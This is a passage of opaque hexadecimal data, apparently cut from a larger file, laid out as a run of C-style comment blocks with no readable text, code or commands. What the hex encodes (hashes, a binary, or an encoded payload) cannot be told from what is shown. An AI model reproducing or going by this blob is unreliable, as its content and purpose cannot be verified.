820b43788228ced892fd48b596f34dc8fa8e5bf279a7990158cdb7fbdddf688a005b720682e77b82f384263666f81710f21f0572fb7a5fa2029d1d4376f2df76e7883d168a78b48f2f08db00fed13329caf6993fb85cd1200dc28e332575a5f9b313d17893b724b93ec6cc464a266090220c52a6d2352030dcff27dbd7f7dfa1ea5d3e2ebba45c48aa087eee51f45578fa13458f6a84800ea7c1e294e1d35d02a3ddde6aff2100042ae1e39d26e9495722913a84e99c6367f7be3655c6c17a728fae0ee540fc5bb3b302ce5415f3e621e4e78dbbcb1b0df4132f7a87f17bbaea8c2432e26a0fea26100f5f44a08e3bc95cd7f371722ff9db5462691146fa1e1229d5ca41c64ee323c9210349594720ce50c64aada98db69c923126670e82f88a03a9c88ccb1991f8573cbdaf8ca5e345e6e8be9b6b8628062d0a2e7d444f0022f5c772228efa9ed09f78e66c46c656a00c6b191d62481d7fe599519cacfaee220b23ba234c7cb0b78c7d689319df5bb6ece23446b21b0dbc4afdab4e33c3caa5b96d2526ca0aefd95e47fa17196a78a399a6c1735874873d67caf4a7ad9522d9e3b8dcd23be675e0b3fd436792313d0bba8f7c246477b8bca9c8d51f72ce0c08d53f7be25a6811c9eba9417948e7bee2f6e0802a2a89532f08662cb0a75b1c7eb8a709d2c3e665e1484d17b3457ccf4996f1401067b96c5ac0f6dc84fac0608d2e78f27be8af88e156b091a6906421998dea9b09c018a959ef789f2708d3767caed1c2bcd8516a4a46999e66a6f41bc59eb4e7054b0c5913139b8cf54e731bfa6aeb79cc92bbbffb828b3e6fdb63a1fb6b0389dd69dfa55891de1dd913df557822a220cb96adc6c0a850f471699337e920b7850c8f821cbe0546cdda375e312691e938131a745927e7d1486b75b6fad9ea88dd54729401036f89f417f921b484d2fa82c56a398ae6b00be2cf7829387386e35012a65966cc3b2aa851a3f85c9343aa4508d3ea5f0b42a22565acc84e172c7bde36ed5e9085cb33308b9fe7691b42f68752253712885125d46e587d9c90952fe9762ba316a10a2801306760dfe9ee6d219cb80942c82d26c1a265d16972fb008cc7e3f9d77efc53d09749726cfc45a3c4606a9c23b3a1a71177779d91682f0a3d4548bbb935b2ca7d92a0aa17d31578f6d8084347b5e1489c2827e3f1e033932a303316f826fbf0435c9f91900512526f8c7172e8def597ffdc909b5e5b8348d6492688f90d757aabdc2cc16cdd2117dc6979df92a72c1179325bc2c4a9f84e214d55bdcf548ab76a42b9e21e3561945f55153edbc0fae22ecd380134550b2b8932205bc385194c*/
/*0b80dceed825a5f04875b42499344a7e122ec14357f26973c90907863cde4fcb2ebbd941a7445551a45228b9c7dfeb588c420ca9c29f73672a10e2fb7df02cd59acd49aac02cd7113098ab69a1e23836b4014e301305a2da73a72330c38811557720f76d4b23cad6515a0970d6813f0b8869c9e71f77e8116b696ae3a70cf554df40637a3b9b2fcfd9ae5c349bc362537c5eef9a56454561685a26a45cc60929d7fd2eb25deacdf7f49d2352fb91db2f832f8c0578dcd5ca31c142c415f2ac641c2972563372299d48e503994dcd61f2a93a51dd315cb84dab031ec3701300735d55ada80abd8b8ca9cc95be760372b35f52ec66b6dbdbd98bbbd180e1518dbdfca29afd01c3eb3cb3d0c6e3e310c1725ef62b66942ae5861a9cd4007aa42775b622525810c880f2b23c0edceef2211897b2f99da43a90e7e898b19fcb4dd51909c8c4dfcc21c7b447b974b04fadf7abb2998dcc7353de236e5548e535bd54addfd374b1c09378d1386ca5247a2928c960113e44dff7a007d2e738c14bda2454a6e4f9ff8f12ee3b71c2a57f28e94b2b48c4030a7ac22b9bc152db9bc15f67dc1b92293edb3bb6d1189efbe868652248efcd1b1e9f3c32a4a4cb1a11f333b2174817dd054eea239ef5dfb3e162e406bd2fa45564197509d5d64eb9e0eb09d94359fd1d401621db62bd0b6007f3ae0c9c5f7745e1a5c17ab3711a29752a5828299a831f822c3e51a25a0d9f5945ac3a019495f2c908425f01a0168658f2ccc5e9e7973e63039c82ccddd9c50902bb42092f869d395097c550a3201be71f622d6340c50c982ce8e6026cedc8db80ac8a54c1088fa883505a88103baa8e2e310354c35fe80974b4d8f5c763fd1e52410a79cad0f9f1d5f3f97943a23fa371673c8763c67eee7fcb5380650180fd944b9eff80b0cbe59475362d933b6df456e7b4fef1db9a6ab1c9e5fa05b4c09812cb24b2dca8b3c870adb113a5baf9cac16411f692d809ea90d7f08e3bb9db27df777446a253b37e4d8ad08cd1629d35704b1aac5df5ae80072103d4f9ff3229763333a6f61272c577d245c31e3c28f729512774d84e6cc639f1f81ff0259c438ae39fdd7cee466658d42ebe00a240404235cfc262b7ab0939a019687d917db7744d967507fb3568417c7ab956b835b658489fdf2585ff7ecd13e4d6ce3c02470e11e46a931774d0e0cd88a6689e7ac8a291ec7441863198a19c162a57826f34f165ff48a1716bdfe6c1c2cb768c3b8131ad000b7015db29210636b1afd5fa2a9e8f42924342e635803814091c2e7676af4dc611ab0200d08cf63bc46b08c2a42ad9a6b232d80af9d318b038e4847b7ce895693ce8a4734f3da3ebec3451a62e6b0d1292d1ceb6bca02e80f155425372bcb8284347db2a7d888f5dc753b3b8a7c916d714f52e5551074369f4b3de8a612063c24eefb5f26017ea4d596922e57322053c9c2d49064a4d9432e2d226fb19075656955ab290a176cb225680e59981b52a0dfd28df2506cc79b026d220958076fa0ee0f45c8008f92fd94bde827e7394eddd311cb3b9c5cea0b29486ac0be8d99326699e8ee1889c4bccd2eb8664bf7d910d9b983fa66cb92e72ea60c5675d43b26b9ab587d3eb31669e5f6d4b6dbae8472982c6cbf7dea509c17bd1be44e4f2784392348559a6e1316fb1e43c527e07c26999184510f2f72954d3ed23e76d5be61933b4f0c4a5e4f98fa1834bcb2c3223b50de767ae6f4b52b44200be570b6bd9cc5883fc22dcbc9f4eb6cebbcb146fc56a3b2895703fc61b2efdaad6c186ee18af4541f7127b25f447b4ae0da2b1c7ba36df03030acb661a5d322d1cb0ce86c0e59808208d88c56889471a2e83a90b7043c88ee572e7ccb72b88a6cdb919658d634c1eb321c9f414e28bdfb1056f2d203b5065a815aebfc57b9cbbe86ae9d5082edb04182f9c3ecc95fdc62c437849bc484845ca2984f6fc1e6eb519d396b5fce092ac059dac4ef5f4ccf8fe720cbd6d13599932b16e7e078d6b821b70355a6ed4f7650e606f75f138b74042ff876028a5d5fbdd6461c7c44e9772b4d223ea65f48f24ab9906d7ab7b17cd098df6e8c955c58e0100408b2192dd1bb89421f6a73f6a83b95b659556d4bf98b7d34c9e2c41beb3c901b5e783a1eaaeb5db8eb3d56ff9ef0287b8ef5e53718725dad55252102aa8c6eed82f0d8666640bd5c4957fc9a9fce79a308ae815a32ac3151ff49d8bf36c1cef29a1dba19984edd959baff09cb13e759077be6677d9240427db42ed468b0caaeaabba2375a5837e93c08a15498dd51b9aa1021a5221b168e23f7c15bab5d611482bac37045ee1f84c5737bb3154cbb74af30324351f7230f2cc48869b1cfa0c259d073fec460c31700c9ff8ae25cf0d54f713590260757257cf4208b17d366ab742717b77034f380e911c8ac6f70b634016dbad19eb3b881e39dc7e284cca1ec86bb4c8a1b9ffd527c90a517def9a72044e88f04b509b604fcc6a1bca9a6e8db6f29e602d82b909b65b895e3fe921678edb314f2093b1749aa23c1d81ecdf0377b0ee8eac4361a76ad4b4b1d005af1d46d0db3ddd9c32a09fb29a7528513e4a1b4044feb2035314174b6226497e8e873d3536252295917d4a885d124f5e1666f47c4e27f803e79801d281a240df40d68cc6e53442699ccd6d873eea3ef5df4f3e5114dba2083e798ab722a871f2bc83d0b3d1f88a2b42bface1663dcbb4b1580e58cd98d07e8229c9e968755102969ccb01557f22b795ec860c9963f1eb99820cb0e0f10c092771a3e8770911c73e9ba82b6264c6bb62e18614cc06e96*/
/*791066d491a6f85fca01dd2578865af9dd04cb8ed1b8af26f6af0052a4f6bad181edff7ee931ea8c172f8dfcb5fa8cad683773f59915670c8a3a0add8353672fcb7e2c85cae41f26f610e56635c3ab61c1f30221b1f911ad0502b45b250bbcd8fc992c3615c2739e4a6ed75bc467a41f1c5c01f4b346bd23ae60f9c2b160b6d6f7de2f74bbdc1c060363975dbbd870ad20619120dcc0ac4a7259044e22e0f923348f193165d823fd897c25b08091fd899359fec3748cf9a7ef194f6cdc5efebe610e37b7b77405b06fee32fc446e6e09d251317e6011d9cc594abebaace797a614e6bbce4a73efc4e0fe067b44b1de7b683661e803169bc1021bf5d889f89ac4178ead4c24046cb8ab23249c03c2dafd3195060a0f1c954e525002f7ae5d7f1a8204ab6f97a6d915fe40b6e0d076eccfaf3e2ad7dbe8a11fc4cdb2441cc647705105d77f4351bbb54697ed9798f5b9d8473853bfa6f60ba4201dd0b850c6340e0a1bf9ae243a90a3b61120f004ed73349b55b706b702101d6465332b1889f5529dbb019ba16cdeb7cd4e9163f5acde7aa6adcd990c9cf762d6d61813304bbe94acc0aab9c0161817e072b13abf73e4c21e07a0e84f1ba83dc3ed24d49126a8171e35379d21052ea7e268776333fbd1da9ca4ac30b6c05ba03ad930ed9fce2b2b937ebbb08509b99f857f166346f04f352295575a63ad86b5747ded27394d79d9af2812a0c1e9cca54936d8c1f133364381e96b264f2b378fa00e068a259f2fdc61dde778d30df69ed30beddd27edf71b2d691048e1a67e911d79e6a23a000cbcbfa1638dfcbaead62a4b58dc300118a9060f2a629617ef80f14ed18b58ebbf99dbde51c7f4e8b6989fb912dbd918769a7d03ea74417e97483e0c775ff878da198292e0ac2c0189cc51e6d2c50d6c7219bb635ac67b5b035443bdaacb80935a729c45cc1fb9337373db9835d5462c7d002a0eb3ddd7c308852be1fb33189ccb0904ab6f5f63ce81f0ce34a173f1d07db2dd76ed132cad6c7763a5d8325ee061cd984a4cb598e3d4bae50d925c78fb9e9f4d366bc1ad028894e4f0a3e5c5c86f4516b229368bb496401e1f047f254fe848f667384e639cd43ee2c9b7d110c0fecfc359e61164e1776676c11fd367fdb506d7a9041cde67d84a868abc48992e9be6815b91f360ecdf182b0513f367012bbcb8406199f6eb44258e6e38c61661acce4a4f3409b143f6d0e170e460994b191d5f3689441b6944a123797ff51358676fe4a28ea5041639347d454e40d9ae5d2d42eefc6c90ae955ddadb2392d92e10a1599e8b634951f38a35c3fdd40fd9d7c40963f81972c12156e01f9f48b2dee46413c8ad0cc53387b73ae33bca6d5dc8c979095c781e139ed8431f7830252c078fd37889071db441fbf8d3dc8ca368b23e04cb9dd02386ac9c63dfdb9cebf0d743545474ac71d844a8df34905e2923f6c65dcc5c57f1f44421b61fbcdfbbc230d21ed91ec1ee18fc6343c20eb948ec65d2a4c9226bb715a03f58d8bf9c7edea713c0edadc394ec2829870887d1c4ebcfd874d3d43c2df6a629e79d94446709a0a9af023cc453a154c1183161ff3ece357d53533566b098943f3172dd77b88cdd79236be23fd10bc1fa4562612b11a00a8c41c2e75ff4f17de875baaa7d29c7715ba5caea9745dedd4102a97b2eee1ba211eef58a454ccdd5b808d456d696f56a047a7da4d1312c373e35a43217a15f8c75941549f50eff1783519dca8311d91fbcb98c0395143c0a079af43f5a7c032004d941a72edb89f9d5ea9794579096ccb6366789ce32215ccb43071bca4661005f05cc213786b33671b7e15e9e8523dde294835a28dbfbcaf947908f80990c2e5fb5a0b8bbb8d1da16a2fa793d2458f9dcb1b1a2575b3333ebd8937df57465a47a17e4e79c680537233d236ed9ac2a7e3016ef69e88fdcbc8302a84a76d1bdda5f3dc0429cb356b5e9e01747933dcfb11e350781ecea571de7ede03ea298c92d527c72c06f5cb74c0a9d66d8307dd622a26e231eb84f96979957e9d782e5c9c13dfa081067ac8a9859d96e00ed7977a836b38f929db42876b3aa8b5df7b1717a70698dc712344e84064c3dcea6406661de5b72d23b1836d1b10c819f9a7c3098c53954db8cf3af01387992884f9825ae13c2f06b77855aa3a91020617a80f514e8c01c8fa5b9c31972299238842b21ba2f1ba27dc4623053b36d308a08e6cfb35ed6168f197fdabb1cbaf90fffeffdb4aac432742fb99de6d52484112880a0d4dddbf4435c9eca65e5a2a0cefb7f88b37d5f0cf18ae185702c19c67104a8cd3778d2ac62c022c36092478cad2269f9bf55cb8df723b9049a26d5772e44ff6eeed773b3e9b3b8c97437ee0ae1b5975cb213d581c08933e7abb81cdd90ef3a9568e1a4ea09f4f19b97d845270e58d1b04dd6db5b2a0b006da05f5a17a680a27107547c15c0c19fd8eac5e8d7da2b3e97cad1aea5b25704985cff6d9392c3ccdf12d07eda126380bd66f81e5dd0bb5d9cf11baf87215e162e76a4e286be87f8e82bdcfca6b149d967d2b6f501de2d3fa5fac43ccfb3debd20f536d8730e91940ed2adf0c941794c6927fb0fdbdca5dad90738d2c8e939480325feb1b367c411fcbe40d4a4f14fb5f8285667743d4d3d040c47f26881d753a6ab392b4c54cf65e4b4eed8a2a515b5a28d6e43e14be083d5f0a918d5b1193518c4a6aee3dc9b9a1eab74fd1339a1badc1df5699170d62c393eb716495e129abad8e61d360ad49ffce59ead7a48284d1f3c5af092c48fb0ea0368eb9bc5885bea677352a4372f3ac75042*/
/*4bbac80f6a46775d12592498c3e95912cdbdbfc08e1b4f38d0a100a5dae39492c8613867e6b05f5492bc996187b6f00765e3466c06ac4b5878f9d037a403f21ebab10f89fee8d4227244545d7c9dc25c3721e348fd0d9eaef582c335dfa5c4fcbf3d3292d3797d98f5d4b56c868b503001ce5f2f8d77c6e37f8d88e7d9d1548c6a054fa53ed4c4f51f2b18de75292042839474a994f2b4230de63f96e9425b66e7048a0f113fc34d8605721eec7df53182252ef768213ccfed10959c7e77acf103dbfc6f990c8a9666d794074f82f7abf93e90681e1b75862de4a1b56df0439211bc2cbb0ea51fbdfafdd8e6b618f750b860a35863e2fdd250831cd1f8c3da6fe9caad4205c0b8134a2d109f915266085f64a65585d11901d38ca0e5c580406f484e9e95e904cfaeab6c7b27442ac2f333ff23c445c140f0be4d08f59cf5133919f484a295812322ae31950846e0c7142906be17185154eff035ae21af4768e694965573c19ded1e7bf2cb96e6f0d4676e895df8e59bbdc825aa75db0584d755a617b4a1f83579cb8efe66c156de47e129d3fac45b064d6828458467e616608daeba6845025714f1b84b431dc83225dbfb19af76e2fbf1427fa83b3adaa96df3e0e35d92eef4e46787821f295e0bed71cb982066385a9ecd7ed96c1b75e0449180984daa3d3e3caead3313c2b1c23a57743237f2b63f004509b6c5ad7ab079515b00fca9af2fcd77cfac04fb576e9c2332ad26398793c386969ba8bafb4a551f792b094e3fa1ab92cc2098e3e11058decaf74a3dfca0be7f14d10c1e52fa0e7544c2bb033ec80e9e881b0a18f22cfe24caece90efc36e05dd7e1c066487ea534e2724d0e86526fc1d91b58729bf60955408ce13cab44ab8087e40829b2530826c5db84a196f6a1caf38ae5b4133e2a3f4f95cb3a14d64c6f6af0b8f5add7af4860d1830e3e87e918d277a4df32d7c954c5ceeb0c42df1ae9dcb70cf0b77d0a5f5bf149e32039dff5d4f66cddaf73df8eed46048c7191ee680c6b106b5251009235354f0b3a84be7d2843da0fc8cd1bf5747fc24372bda2e6e7db41e30ab4d67b54e9e8e4a43344482f22df7a19e685fae47cff0e4f31399ba14f2a9940a5d3552318e3611cbf0811269850a6a9249760b703f3147bdcd9789c21d181015d50460ecf58cb27ee34eedeb2f44c1115edbd3cea1ca58536be7a06e5d4ef4224efeba6f835634f0fca61a722bcb3b0b8510b546b6dc964c2e1d57d9331a8f340826e52b3c7915f5789e87a86118a45476f0f68aafbcadbc3ba93a65da65e13022f413e5226f3bc022067976efa33d081d0f051e825d292b3340d0911bd62644869edb3f0632f868ac3570bd24026e576964ecad15c89fa6c66e4f81ce947fd8b4ab8a79087d42b263ebfdb4fc4b24ddf0abaf9a8a04ecb1571b060eab42ac74832f1473a4cb28aa608bf535f75f777c9cdae5f6928e5de010ab8265050f362a138a57ad62418bf8ecb58219ee1492e8284b2f0f2924c8028d7ead3ac1e85a8f9d57187f1b43d3786f0020ee2008128e498d6197c8c34fe51de857a880e662f41ac2cfe3b7a678740bc8f34687db2e3419be6abb4732c506729e5448a70669c77979bac8db1d6cd4c08364447e89d57aadaaee3d074dfafeb7342084d089ac23d816f42bc7eff4142864ad0a7f74f32ac0f0b1930c87a9f7d29b30fda812c563dbdbaf4bcd92add79362f41f4c66da10294751acd197ebffa76a8c738f93fadd893102129621fb5ffb4e258ae4b68ee03379dd5dca29f8294a81e84c2d26db87919c1a6545c118be9025ebfa262aa62996a1e37fb202a856686fab15044d4ac02e4dc3e58b72fbf69646ee4d437f5a842ccbd97b2b85eb071c3ec6a9f229d22cf015257e7454587d9eb84cac9d396bb76b630010060e1c3a564e5f554c111c5d998e63860ae7c5cce39cbfc28fab9ab33d562afd1128a6029acb1639a0ae166a72ddc2b586df905ced0daee7b73f62b6745b914198b0f252616e45f3f4e328aea6aab692bf4599f8b2f9921277ee28bbc249ab7847a8f08ca66471b3fc5d4c1056cba8c4887b0f1c8f7b812c1e143ac9b073ee6e4c3da68f23bebf7ba438498f9e568f29162421348415400590356cc88163eb196cc731bd63c9a531600c5ae5fd8a48ef860f50c1b4b4916b57fc820a285d551c3dea813b11aa048e29b5e07f8609c0c2825e0be36aa188c3eddb7e3663119996b53968bc420d8683757340fb7cbc4ec7ee41a1c9aa53ebcfdf1301ee978d6149300f12c2a59e5a67e9bc3997f0ee05583c4f4df2b0bf8c12d26045799c9b96af02bd0704caee51218d65a0aeb1427cee840b167aec73c378c064d6b687475f3c754d8c0638fcc440eb0c7e9f53275e1f6415cef1c93225f1112783bed35e08e734706afd61b07bdd1dc0cac4054b908c1d1c0cc59ff639731f2b456974f0e56aaacceecfcc18371ecf5d7c7f22091a222a6883aab0765685b003e8ca3bcf1f4ec1c51e2e3ac445c2c0262b5a66c7d240a2db0738a8e4a34e47c5bf8af9986ef282925b0e461901b890214f58b42427338e531141545e84fb403ce510784dd7dd29b85616fd5b544e7d00ae4a02e6d73f7030f87f2feb8d457310996187cb2e88d1e94c014081ef2cfc626267856dbb7f5f397b6410acfd52bbd71b89b5e8d2dd0cce4f723452b8f994cf560ada782abca583ccb36af90c6de2195aa1f68d095a1c93c538a69d3664703b19a32dcca9da0d6b163a71baf2d16f271ff6f809864d9505b3378609bcb2768d1a9eee489ed8cf6609b5bbbdcc69056ea56d37470*/
/*bb0120172634513b47de128f2621cb2cd949fc1f938a596885eb90d487880af9ef762666a4bb39c1541ec7fad974f26600924b4d246511180a20591dbcee855468f7dc7dcce5c195483220d9aa28adebc31bb2b2da135d4590a290b294ee43ad5372f92245450311bc3b74d221b26867ed6a8e870a9df4a3c25b0e6a6e17ddf6d9ae353d95ab5ef322cb257a4390bffd0eb7177234b93c84357fb5ccfd302387d79479a9079563d8cd682b913336c5ec4bb34b52c21f363cdb85872a201f90997916fa840c9de138da18b3a8c05e443525230b921708f2d1d1d64d371ff0103133d541c1966e11fa4e6f5b6ff417d849035fbc5af75f61f6e5045e44d914590a6003ef3e28b31bb77c4af4f77d5755d4307801d500f58d0304619ac602d8084af8f9c2726065da15610d97072c7fb6c6386a2378cee75f53ed472aca3c2711a50433222d966521878f91d77775adff1b89c277671f6b605136ef5aaa11c67b5aa339491d413f66145dc035e3346a509e27b09595e4ed1982af72c41c6f3bc919211a0dc42906ead040897bd841fd383352fe9448a519a532b473b7adb1dc0f7773de4bb7e936dc0588f441fb9afc3292727a468863bd2f09d337f7845b45066647c2b85f125972de146c878f32056865a96bb758857da9882d246156a80cfe55f30a9cfac1baca2d13af4a0a1392db913073297639f363fe0453a87462f00a63a087841af9b593d9f5a5c4c9bd5b95cd2754b1d34ae273b94d6edded47171079c3cb8974f1dd28d905601495052686d4b458d0c39a647aed8c5c2eaf7c74f2a597109eef2abd8702d5211db5e42af53f1efb93ad76d02c2e815dd6e76fbf97203048b076c6ed02efac75243cc9b98265de13ee9e8f92f0174a20315dcb08c698b747e287eb88ccc7f67fcfa02121a43fd4f1d015160cb21838396385f3d19a4b59f629d169fd34b3a71f8bf27461b49e9979f5e1e37dd7a16768e049f074bf3087e1ce6b3834a387fc4c01c74b4f2a96a7ea90e7794cc7b2ee6cc449c4c2384e6e1dd5b81f8aeccc9f6adb045b7323efd881d8d86815a8566bcba7c64414626bfc2ddb7ed5ca3ec46c48fefc56c5090e6006ca826336d855bb514204511911a84d652cc392441d954989b6970dde81507ec077052c8f21ec4a08645dbfb11f9ff556b0326d4209e2208c902c6253345479f8ced36d9ed10e606acb7695c2c5dfce987e646eab2dd0f77f15a6c5811fbea4793d828cded717fc7fe1e5be2c7486764cea1cf5d5615599ff8179681ced3b87f1b5aed21c2a8b113ebee20e718553b17805d34de2ec94ba5d4b0a3d19c6233968cda6ba4e66c2bc2b0306557d34c954cc5544f2b45b3e7aceee3fd16468f4b7b191d8d774d84c425d5de16524e264e0507122b472f9b31e8c1a724f2135d89d70213b03ca865adcc7bce04a8df8486243ebb9ddb3b42d6346a505c6e575c91a762ba7f761176967c64cf71e4e6f894f8b179aa3a72c36751040b8385085cf4605dff7700f1da0a5756e0902f928a1e470152b3f0196f0bb33d90a46de1e9fb6ad40f27da06fab1bd855e7b5cfce226b3c75a0d5ac264e4e68d677f6224d53de483aaaa4ff2fcfe639bdb50f720580881fa789acb205e28dbed614e1ce80e803d92938032476bd8ef1329cd43ec041cd1be69df8590c66dd97ab243d738d0fe7b4a5a9d6da581de368205e5ef7d60e6f5a22956175c76b2a8e84b8415dbcda2eb90b38218388ebce9e88b0b348092ac180f0ebb3d9e7a6438be7cd344ba4c60ba75c217dc404203214a0acaf4d92f34ae5bd141b74f1c7c7bd5b24ec823b56c9daecfbc9de4ab7deac7fde917dd50fc763cf6857666433e6c0903275702a671de98fec2a6fc5e109b0887f4fa97a568778f3e118d7fb89ac590fba70e61159a260dfc2e5dd88446522a88b8996281744cd4a4150a8e20b026132e434f3f07c188f68d17525dca31e775c221cf76c912914199b7bfa1a11747e6453cebbb2897777d92aed406479a7c5bf28491fe54401787edd2713a78344497c07adbf4c6af71ecb1954fd3caef4570945a43fc9dbafe8510c7c4cf18ab5843ea73599fa53a888c259af8e87ca4c344601faf40618664c54f6acf129824a73b04b0a3d1295822b735397ee1953533b8eb062dee7d2c0bd7e873c528e5d0b3b8b809bd7bb4c322490233e55ace951ca9c03d4d65318410d24ffa4eeee55bbc0376375c7bd706c65fcfc385e27aa17687860b209a979f6770b658219f343a4433f7eb8209fe5fecf520acae3f5e70ed8739f5ffd57b467d7a13581f8e3921ff56970bcfbcf1fdc062f8c1620839151ebbd1f2fdd7371cb444de3fe95c512d786cd969adb1e92b9d3dad78eba941481dfbbb901226be041265657c4d6a76060003b8ee5536bd1cbd59fd78a393d822d52f3ee99b92ea942746a9bb9e79df59737aa03a41c36a817f185806605885cbab04b5594d898406527731ba0789ffe941141502f91fc238736099c931441ed6ecb550374ce39596ce1bb5d7f4e0c39968873445c1a6699694e7cf1e2affc64dd6547487cc58c6dbdaa1c0ae36e35da804d6ef54af1a9de9c02b765146e72dabc139cd48037e5c92441659773d4c5ea2e33f4348ba0e4c977c966f4cda6789eb8d5fb23c4540a42b874ec5270e17f8fc374ae1ed70c9e532f1e16d0043dc106c8497f3e6dbf8858143fe6f84b1b90d6e645b49bcad26c27c0b0f19a7d2ac13f1bb9241b84dad1554439c7322577bf5aeeb0f2f8c7707dd0122d7075e685eac823440ea99c7132d88ef9dee220ae4fa1678edfc0690abf7d*/
/*e2fbb29fabab9d0b629317dc9eadd34c4d010f723070f178ea835282b9c2ee7ac95dc87ff914dbbc0fa47b7ee0349a55113c12e9f306e872cd9d142b5f672e8442a1ea7eb16ea781eb6f53148ce598b2eb56f217e76f8764d24e400250bc99b2507b11b973297434457929e163314842a0607bd2026cdd86072cffbdf23ff7f137ffa96a4f269da6d82285eb7d41ca1a7f3ee7aadd4fc2db1eb2d79521ecad9178a07c1dfad0c779a7d114de22cdaa509c5fb1bb1f3c414305d61586c05ef96bafbac2c167ecec752c2c2decf064ba2597172acbe0f4281795d1cc1a5cbf9f1535c3484c74b5fd6f94dc94c995b3ba466278479b92ee9771e6e70b88c1d3b52d244259dcbd2103e2adb7eebebe82d9b893cf2b5d579f09f20651b5558c7d705e59ef396bd91fccaafa010e29a6a312d0027380b866d72558c2a1515451bf8239fb652a7b6410cf61d4697f4251d033c5145fd7716f8f3a211fe4ec04c2a03735da7872fe88671e9d511705679d07160647da9e6cfccbc18e05d514ea9f26115dcdcdcb66606ed406880a4f0a45abd08d6a0d923f1c246c304de57c31774fa689d189c711281cedb6af518d59eb00a56d1a7fb90e8b8ac139b97c98b4158381f4d7cbde3b7631c2ab5cd1f0099c4daf43d0d557ffe3b8afc763c0563d346dfe17de013bb06bfdfb5bf8bcbc211cc7eb3e1a68cdc6dbf6615277faf1cdbd096c92c288a8edce936d617aa112cc3f99382d20a95273609a5f6b9c00227d10b2bf5994721ecc4e26be0b9e36ba82c465218d55a5bd5821a7b80c9fd4b5273357f11e1a032706f79462735e3d42aef9d73327e541aad29f826e54e5f55f5fb0554c2fcd550ad69620b14e32bf946cfdbfbf89667db90d9224c64673e3ce6cab902cf423dff28138f48d6ef5ef4cb51d56a91438c8cccade0012d38e71cceb879a8ba4853e5be1956a664029c93c5007390526ca55a74217e8eb4d5f1fa38cc4b0f57e23259fb92337e04aa05fa1e4a3843ba620bfd8c9528d6269d42dce06dde9554bdea11cc7918559d809e16b38d5696e871da6f5600b3e74495f57b0a16b554b6be5d0859ffcdd447d9da1d5df51593cdc9f4697c422d524eb72074619ca3abae1f7bbd93e2f38bf24f95eeb157b9ea48064ec7bc560e757635a1f10aecfdf77a4cecee781934ef69bf4f518dad1e09cd45bf9a10903fabfd9344ac3e53eb53cfc6dd858c701bf6cd56c72862abced64034bd39fb42ca46d3fc4ca3ac585d042881af0db5c4a7b34769e31cedba3aec845aaece3f06c56697194d5f7879c982ec8d2f61c91a21de653c31fc771b57358edbb60616d3f827882f99893c5dc1acd0939d6da74dd4e937b44f4a019c4802bda2b2ed26948c0f813db3bb4f45c88cba9658306b62a74510e1b0798be619eace47ba1da3381e90aae40b59f508e324cabe3634002ddc72f9ba4d7ad5ccb295726e8b31386bd1feb302ad500a7de5a054ba0b59e604cad314aba8da062cea7a97145a8f24b465a3b39a840ca47ed70c6471865d1566c915eed1ae5cf9c86a49c22013a6d66c515b27f1191eb397352438001f3d143175bb2ffcd2d0e471dd3ea3d66619cb335db47c32eb1142a449b21e1cbb3cc2784d26bbe727e69a84d65c7552b31eed1779dd546a8c1f1cf6eac22372e45a0054d7e1b7c5b34bacf476a65dc3a400f610c8242eaf01ec7d3f0b946ba886ddb485a1f9bf850f0986b2af8eeeb568807d2c6aa15450b567902806a3fdb49ecfc214aba3b8e51b138c6f6df16c57986e760abb0accb927d9431c222dc4a522739349a67e34a87fbaec1e455a497421d10e993ef38465ebd6eafe3149d3a9560e3fbdef1113d51dbd73c945f414a89cab8a385550d6d6d754210edefcf7ce58fcd5ba99a2af763a421d01f36dbd6a046dfe96b6a165c403a7d075cc2c451a16e302056f9698834a45ce619ad7c3c33f9d3478b0f6e5ebb79a1c36ce5934bcc3960e648a37d53877f0baf6d17a4f1adcd0ecc8a454bfb98a1cdaec3f59ccf822a2a3d1f7c3fab1814aff1525612af83051852972b7c4a346dd3f34300d0a9f747a6342737dd4b44a438991468c18662da13ccd825ae8785a3ac9faab19ed79617980d99fc705b1466f49144a78e5507814ba415ad7732df34a9b2fa73ec9e4a4a40284331f2910d7babd37f0f9fea49fb615d46bacbca8e6f64875c50fc6f4611c15d4488147724db60da83f3bda21bc4bcebfdcadf81bc074b1b966cc64ea03a2918c7d049c574fe0b83783a90b40a02c62e2737237034615a05b5892d5b29302e262eb72d04f4663239f4fa0e3b51b507f3be717780ef1cfaed1ca3ad4c01c9f3ec0715055a863f44bf32d9e640b93212c32eaa5202d3676bdfdf7e341850fca28dd6f680bcfca116c8c9a19c85e48fc566ad2ac593c410db58f8f072d056accc40119ac35cfb86ca2d8be33fd9ad5ef044baa46595a6f754237f7ea762d1d9ff07faa456240a3a0be24c8f3c14f7e034756149385ae47616e85a95d2c7be71ddf77f78054578e5390c00bf3904bee215e92653b05153a4cad2630e924ab8b396cd8ff14a9fa01d7c05ae6e4c6cdd948e88b3fe971c20f26dfa79958045ddfbda25abf6ce02bb95d7cdfbefc99ffb8715b82ebbf32ae035ccd79220ceda90e6c5a938772b1ec0a55776fee45925dd702ecf9e8ac05db70575c98da1b7f0ace1da82cc0820075601ce73d4e73eb784de207428eb3429217ff735b629efbccd86cd2f70d106e9932ebc11cf78a024ffc0c8b2ae7a06f437bddb56bf997d64ecef22df8bbb167e6e2a52108c5a38df*/
/*409a4c10d305611f6337b59e71fcf5645577e0d05263ee70aad8233929c43941e9e066b56df3c0d07521d5619fe87ba75232fcbdac57fa64208ff1b2ba8637dd9d919ce8f22ad6fd5d2e100f01051be42bce685e43c046ab7687210b282e299f63eb657a1439d0761bcffa2025d2725daac70f9ff1e4dec1782fe51f6c0df3d96993b0c1a46afe2cba37e01fa26f07a4518e6cdccf4a85fd0c38542b4283caceddaa085ecf3a80a832401cfae5ddeb2cb6eff4e3dad2162dad39a1c1cd5a2602c9ad51f26a5f454946f414e085e508eb488a51d33f8cb26dce09f129461b6b4b123300d334bbb331407726eda7c85fd62d3064f34d3db83585af671fb95771a7471247eecf1692709652c0e01952a858fed2499a16faa7b9b3fd1f2e354d9348f2745e153d8679e84122d4993bf34a393b314d8209213f7d878ef695a71db7c7f47a7a52bf40b3740aa55c3ef4d2b82ca53ce648475cbfa40b8acde13658c83bc94a74cf8b9173696afd2ad8e5780c8ae78598e8d899863e233cb40b63d201d6f7a0ca80c60464d82d3e0f3938f89f1c9f40f169406d198d806a3e2c0701d3bcf520b26ba646e88ec4be70ef95309ac30454552ae5e74f6b0bf853e8f820dfded4f2766cbe50bee68d7264ddbaadbfe84bd835f474e58d2eea9cf902dff37e6a8140b45232d0bc1902bf8aa68f38fbc5cea53fb86edc45df63ebf46924f974d7f05757e23adb12cb1718a13b3e35a481d61d7e20ee8